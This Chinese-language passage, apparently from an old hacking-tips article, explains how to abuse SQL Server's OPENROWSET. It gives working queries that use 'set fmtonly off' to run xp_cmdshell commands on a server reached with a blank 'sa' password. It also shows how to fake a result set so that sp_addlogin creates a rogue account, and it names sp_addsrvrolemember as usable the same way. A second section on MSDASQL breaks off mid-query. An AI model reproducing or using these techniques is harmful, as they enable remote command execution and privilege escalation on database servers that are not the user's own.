1．關于Openrowset和Opendatasource

　　可能這個技巧早有人已經會了，就是利用openrowset發送本地命令。通常我們的用法是（包括MSDN的列子）

　　select * from openrowset(‘sqloledb‘,‘myserver‘;‘sa‘;‘‘,‘select * from table‘)

　　可見（即使從字面意義上看)openrowset只是作為一個快捷的遠程數據庫訪問，它必須跟在select后面，也就是說需要返回一個recordset 。

　　那么我們能不能利用它調用XP_cmdshell呢？答案是肯定的！

　　select * from openrowset(‘sqloledb‘,‘server‘;‘sa‘;‘‘,‘set fmtonly off

　　exec master.dbo.XP_cmdshel l ‘‘dir c:“‘‘‘)

　　必須加上setfmtonlyoff用來屏蔽默認的只返回列信息的設置，這樣XP_cmdshell返回的output集合就會提交給前面的select顯示，如果采用默認設置，會返回空集合導致select出錯，命令也就無法執行了。

　　那么如果我們要調用sp_addlogin呢，他不會像XP_cmdshell返回任何集合的，我們就不能再依靠fmtonly設置了，可以如下操作：

　　select * from openrowset(‘sqloledb‘,‘server‘;‘sa‘;‘‘,‘select ‘‘OK!‘‘

　　exec master.dbo.sp_addlogin Hectic‘)

　　這樣，命令至少會返回select OK!‘的集合，你的機器商會顯示OK!，同時對方的數據庫內也會增加一個Hectic的賬號，也就是說，我們利用select ‘OK!‘的返回集合欺騙了本地的select請求，是命令能夠正常執行，通理sp_addsrvrolemember和opendatasource也可以如此操作！至于這個方法真正的用處，大家慢慢想吧。

　　2．關于Msdasql兩次請求的問題

　　不知道大家有沒有試過用msdasql連接遠程數據庫，當然這個api必須是sqlserver的管理員才可以調用，那么

　　select * from openrowset(‘msdasql‘,‘driver={sql server};server=server;address=server,1433;uid=sa;pwd=;database=master;network=dbmssocn‘,‘s
elect * from table1 select * from table2‘)